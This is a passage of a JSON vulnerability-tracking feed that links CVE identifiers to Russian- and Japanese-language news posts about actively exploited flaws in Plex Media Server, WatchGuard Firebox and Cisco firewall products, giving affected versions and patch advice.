\u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0430\u0442\u0430\u043a\u0430\u043c.\n\n\u041d\u0435\u0434\u0435\u043b\u044e \u043d\u0430\u0437\u0430\u0434 Plex \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043c\u0435\u0434\u0438\u0430\u0441\u0435\u0440\u0432\u0435\u0440\u044b\u00a0\u0432 \u0447\u0430\u0441\u0442\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u0434\u043b\u044f \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b CVE.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043d\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439, \u043e\u0434\u043d\u0430\u043a\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e, \u0447\u0442\u043e \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 Plex Media Server \u0432\u0435\u0440\u0441\u0438\u0438 1.43.2 \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0442\u044c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0441\u0432\u043e\u0438\u0445 \u0441\u0438\u0441\u0442\u0435\u043c, \u043e\u0431\u043d\u043e\u0432\u0438\u0432 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0439 Plex Media Server \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 1.43.3 (\u043e\u0442 19 \u043c\u0430\u044f) \u0438 Plex Desktop \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 1.115.0 (\u043e\u0442 13 \u0430\u0432\u0433\u0443\u0441\u0442\u0430).\n\n\u0412 \u043f\u044f\u0442\u043d\u0438\u0446\u0443 Shadowserver \u0437\u0430\u044f\u0432\u0438\u043b\u0430 \u043e \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u0438 \u0432 \u0441\u0435\u0442\u0438 \u0431\u043e\u043b\u0435\u0435 36 000 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 Plex Media Server,\u00a0\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0434\u043e \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0433\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438 Plex \u043d\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043e\u0431 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445.\n\n\u041f\u043e\u043c\u0438\u043c\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Plex \u0430\u043a\u0442\u0438\u0432\u043d\u0430\u044f (\u0438\u043b\u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0430\u044f) \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0442\u0430\u043a\u0436\u0435 \u043e\u0436\u0438\u0434\u0430\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 WatchGuard Firebox \u0438 Cisco.\n\n\u0412 \u043f\u0435\u0440\u0432\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0440\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u044d\u043a\u0440\u0430\u043d\u0430, \u043a\u043e\u0442\u043e\u0440\u0443\u044e CISA \u0435\u0449\u0435 \u0432 \u0434\u0435\u043a\u0430\u0431\u0440\u0435 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430 \u043a\u0430\u043a \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u0443\u044e. \u0422\u0435\u043f\u0435\u0440\u044c \u0437\u0430 \u043d\u0435\u0435 \u043f\u0440\u0438\u043d\u044f\u043b\u0438\u0441\u044c \u0431\u0430\u043d\u0434\u044b \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439.\n\n\u041e\u043d\u0430 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a\u00a0CVE-2025-14733\u00a0\u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0437\u0430\u043f\u0438\u0441\u044c\u044e \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e\u0433\u043e \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d\u0430,\u00a0\u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0438\u0437\u043a\u043e\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438.\n\n\u0414\u0430\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u044d\u043a\u0440\u0430\u043d\u044b, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0435 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c Fireware OS 11.x \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 (\u0432\u043a\u043b\u044e\u0447\u0430\u044f 11.12.4_Update1), 12.x \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 (\u0432\u043a\u043b\u044e\u0447\u0430\u044f 12.11.5), \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432\u0435\u0440\u0441\u0438\u0439 2025.1\u20132025.1.3.\n\n\u0412 \u0434\u0435\u043a\u0430\u0431\u0440\u0435 WatchGuard\u00a0\u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0435 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u044d\u043a\u0440\u0430\u043d\u044b Firebox \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435, \u0435\u0441\u043b\u0438 \u043e\u043d\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u044b \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 VPN IKEv2, \u043d\u043e \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u043e\u043d\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0434\u0430\u0436\u0435 \u043f\u043e\u0441\u043b\u0435 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0439, \u0435\u0441\u043b\u0438 VPN-\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0444\u0438\u043b\u0438\u0430\u043b\u0430 \u0441\u043e \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0448\u043b\u044e\u0437\u043e\u043c \u0432\u0441\u0435 \u0435\u0449\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u043e.\n\nWatchGuard \u0442\u043e\u0433\u0434\u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438\u00a0\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445, \u0438 \u043f\u043e\u0434\u0435\u043b\u0438\u043b\u0430\u0441\u044c IOCs, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u043c\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c, \u0431\u044b\u043b\u0438 \u043b\u0438 \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u044b \u0438\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 Firebox.\n\nShadowserver \u0432 \u0434\u0435\u043a\u0430\u0431\u0440\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430\u00a0\u0431\u043e\u043b\u0435\u0435 115 000 \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0445 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u044d\u043a\u0440\u0430\u043d\u043e\u0432 Firebox \u0432 \u0441\u0435\u0442\u0438, \u0438 \u043f\u043e\u0447\u0442\u0438 9000 \u0438\u0437 \u043d\u0438\u0445 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u043c\u0438 \u0441\u043f\u0443\u0441\u0442\u044f \u0434\u0435\u0432\u044f\u0442\u044c \u043c\u0435\u0441\u044f\u0446\u0435\u0432.\n\n\u041f\u0440\u0438 \u0442\u043e\u043c, \u0447\u0442\u043e WatchGuard \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0443\u0441\u043b\u0443\u0433\u0438 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 250 000 \u043c\u0430\u043b\u044b\u043c \u0438 \u0441\u0440\u0435\u0434\u043d\u0438\u043c \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f\u043c \u0447\u0435\u0440\u0435\u0437 \u0441\u0435\u0442\u044c, \u043d\u0430\u0441\u0447\u0438\u0442\u044b\u0432\u0430\u044e\u0449\u0443\u044e \u0431\u043e\u043b\u0435\u0435 17 000 \u0440\u0435\u0441\u0435\u043b\u043b\u0435\u0440\u043e\u0432 \u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u043e\u0432 \u0443\u0441\u043b\u0443\u0433 \u0432 \u0441\u0444\u0435\u0440\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443.\n\nCisco \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0438 \u0438\u043c\u0435\u044e\u0449\u0430\u044f \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2026-20079, \u0432 \u0435\u0435 Secure Firewall Management Center (FMC) \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u043c\u0435\u0435\u0442 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0431\u0430\u043b\u043b CVSS 10,0 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 root \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445.\n\n\u041a \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u043c\u0443 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 Cisco \u0442\u0430\u043a \u0438 \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430, \u043a\u043e\u0433\u0434\u0430 \u043d\u0430\u0447\u0430\u043b\u0438\u0441\u044c \u0430\u0442\u0430\u043a\u0438, \u043a\u0442\u043e \u0437\u0430 \u043d\u0438\u043c\u0438 \u0441\u0442\u043e\u044f\u043b \u0438 \u043a\u0430\u043a\u0438\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0431\u044b\u043b\u0438 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043f\u043e\u0441\u043b\u0435 \u0438\u0445 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u041f\u0440\u0438\u0447\u0435\u043c Cisco \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u0435\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u043f\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0443\u0437\u043d\u0430\u043b\u0430 \u043e\u0431 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 CVE-2026-20079 \u0435\u0449\u0435 \u0432 \u0430\u0432\u0433\u0443\u0441\u0442\u0435, \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438, \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0432 \u0438\u044e\u043b\u044c\u0441\u043a\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439, \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0433\u043b\u0430 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0438 \u0440\u0430\u043d\u044c\u0448\u0435.\n\n29 \u0438\u044e\u043b\u044f Cisco\u00a0\u0441\u043e\u043e\u0431\u0449\u0430\u043b\u0430 \u043e\u0431 \u0435\u0449\u0435 \u043e\u0434\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Secure FMC - CVE-2026-20316, \u043e\u0442\u043c\u0435\u0447\u0430\u044f \u0435\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u0443\u044e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e. \u0418 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0442\u043e\u0433\u0434\u0430 \u0436\u0435  \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0430 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435 \u043f\u043e CVE-2026-20079, \u0432\u043a\u043b\u044e\u0447\u0438\u0432 \u0432 \u043d\u0435\u0433\u043e \u0442\u0435 \u0436\u0435 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b, \u043d\u043e \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430.", "creation_timestamp": "2026-09-11T10:00:05.165159Z"}, {"uuid": "117a0788-0fe4-4048-9e43-94ca51ea63ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mvab53dnbc2a", "content": "CISA Adds Three Known Exploited Vulnerabilities to Catalog\nRelease Date August 11, 2026\n\nCVE-2026-20349 Cisco Secure Firewall Adaptive Security A...\nCVE-2026-68820 Microsoft Windows Ancillary Function Driver for WinSock Use-After-Free Vulnerability\nCVE-2026-72898 Metabase SQL Injection Vulnerability", "creation_timestamp": "2026-09-11T09:33:15.434030Z"}, {"uuid": "3db6d90c-5f20-4980-be3d-b0ef3114c7aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mvac52ivxs2a", "content": "Cisco\u88fd\u30d5\u30a1\u30a4\u30a2\u30a6\u30a9\u30fc\u30eb\u306e\u300cSSL VPN\u300d\u306bDoS\u8106\u5f31\u6027 - \u30bc\u30ed\u30c7\u30a4\u653b\u6483\u3082\n\nCisco Systems\u304c\u63d0\u4f9b\u3059\u308b\u30d5\u30a1\u30a4\u30a2\u30a6\u30a9\u30fc\u30eb\u88fd\u54c1\u300cCisco Secure Firewall Adaptive Security Appliance\uff08ASA\uff09\u300d\u300cCisco Secure Firewall Threat Defense\uff08FTD\uff09\u300d\u306b\u8106\u5f31\u6027\u304c\u5224\u660e\u3057\u305f\u3002\u3059\u3067\u306b\u60aa\u7528\u304c\u78ba\u8a8d\u3055\u308c\u3066\u304a\u308a\u3001\u540c\u793e\u3067\u306f\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u5f37\u304f\u63a8\u5968\u3057\u3066\u3044\u308b\u3002\n\n\u540c\u793e\u306f\u73fe\u5730\u6642\u95932026\u5e748\u670811\u65e5\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c9\u30d0\u30a4\u30b6\u30ea\u3092\u516c\u958b\u3002\u30ea\u30e2\u30fc\u30c8\u30a2\u30af\u30bb\u30b9VPN\u306a\u3069\u3092\u69cb\u6210\u3057\u3066\u3044\u308b\u5834\u5408\u306b\u5f71\u97ff\u3092\u53d7\u3051\u308b\u8106\u5f31\u6027\u300cCVE-2026-20349...", "creation_timestamp": "2026-09-11T09:51:09.461032Z"}, {"uuid": "d072adec-93ab-4f24-9987-562a14fa4ba4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mvacbwoxhs2a", "content": "\u7c73\u5f53\u5c40\u3001Metabase\u88fdBI\u30c4\u30fc\u30eb\u3084Cisco\u88fdFW\u306e\u8106\u5f31\u6027\u60aa\u7528\u306b\u6ce8\u610f\u559a\u8d77\n\n\u7c73\u5f53\u5c40\u306f\u3001Metabase\u306e\u30c7\u30fc\u30bf\u5206\u6790\u30c4\u30fc\u30eb\u3084Cisco\u88fd\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u6a5f\u5668\u3001\u300cWindows\u300d\u306a\u3069\u306e\u8106\u5f31\u6027\u304c\u60aa\u7528\u3055\u308c\u3066\u3044\u308b\u3068\u3057\u3066\u6ce8\u610f\u559a\u8d77\u3092\u884c\u3063\u305f\u3002\n\n\u73fe\u5730\u6642\u95932026\u5e748\u670811\u65e5\u3001\u7c73\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u306f\u3001\u300c\u60aa\u7528\u304c\u78ba\u8a8d\u3055\u308c\u305f\u8106\u5f31\u6027\u30ab\u30bf\u30ed\u30b0\uff08KEV\uff09\u300d\u30783\u4ef6\u306e\u8106\u5f31\u6027\u300cCVE-2026-72898\u300d\u300cCVE-2026-68820\u300d\u300cCVE-2026-20349\u300d\u3092\u8ffd\u52a0\u3057\u305f\u3002\n\n\u300cCVE-2026-72898\u300d\u306f\u3001Metabase\u304c\u958b\u767a\u3059\u308b\u30c7\u30fc\u30bf\u5206\u6790\u3084\u53ef\u8996\u5316\u3092\u884c\u3046BI\u30c4...", "creation_timestamp": "2026-09-11T09:53:53.198225Z"}, {"uuid": "4a216e06-1c0b-43ad-b08b-22a5cd25a353", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mvaciciors2a", "content": "Cisco ASA\u304a\u3088\u3073FTD\u306e\u8106\u5f31\u6027\u304c\u5b9f\u969b\u306b\u60aa\u7528\u3055\u308c\u3001\u30ea\u30e2\u30fc\u30c8DoS\u653b\u6483\u3092\u5f15\u304d\u8d77\u3053\u3059\u53ef\u80fd\u6027\u304c\u3042\u308b\n\n\u30b7\u30b9\u30b3\u306f\u3001Secure Firewall Adaptive Security Appliance (ASA) \u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u304a\u3088\u3073 Secure Firewall Threat Defense (FTD) \u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u308b\u65b0\u305f\u306a\u8106\u5f31\u6027\u304c\u3001\u5b9f\u969b\u306b\u60aa\u7528\u3055\u308c\u3066\u3044\u308b\u3068\u8b66\u544a\u3057\u305f\u3002\n\nCVE-2026-20349\uff08CVSS\u30b9\u30b3\u30a2\uff1a8.6\uff09\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u3044\u308b\u3053\u306e\u91cd\u5927\u306a\u8106\u5f31\u6027\u306f\u3001HTTP\u30ea\u30af\u30a8\u30b9\u30c8\u306e\u51e6\u7406\u306b\u304a\u3051\u308b\u30a8\u30e9\u30fc\u30c1\u30a7\u30c3\u30af\u306e\u4e0d\u5099\u306b\u8d77\u56e0\u3059\u308b\u3082\u306e\u3067\u3001\u8a8d\u8a3c\u3055\u308c\u3066\u3044\u306a\u3044\u30ea\u30e2\u30fc\u30c8\u653b\u6483\u8005\u304c\u30b5\u30fc\u30d3\u30b9\u62d2\u5426\uff08...", "creation_timestamp": "2026-09-11T09:57:27.598240Z"}, {"uuid": "b2baf20e-d44e-4ec9-9c80-9a1377568863", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://t.me/true_secator/8597", "content": "\u0411\u043e\u043b\u0435\u0435 36 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Plex Media, \u043d\u0430\u0445\u043e\u0434\u044f\u0449\u0438\u0445\u0441\u044f \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435 \u0432 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0435, \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u043c\u0438 \u043e\u0442 \u043c\u043d\u043e\u0433\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 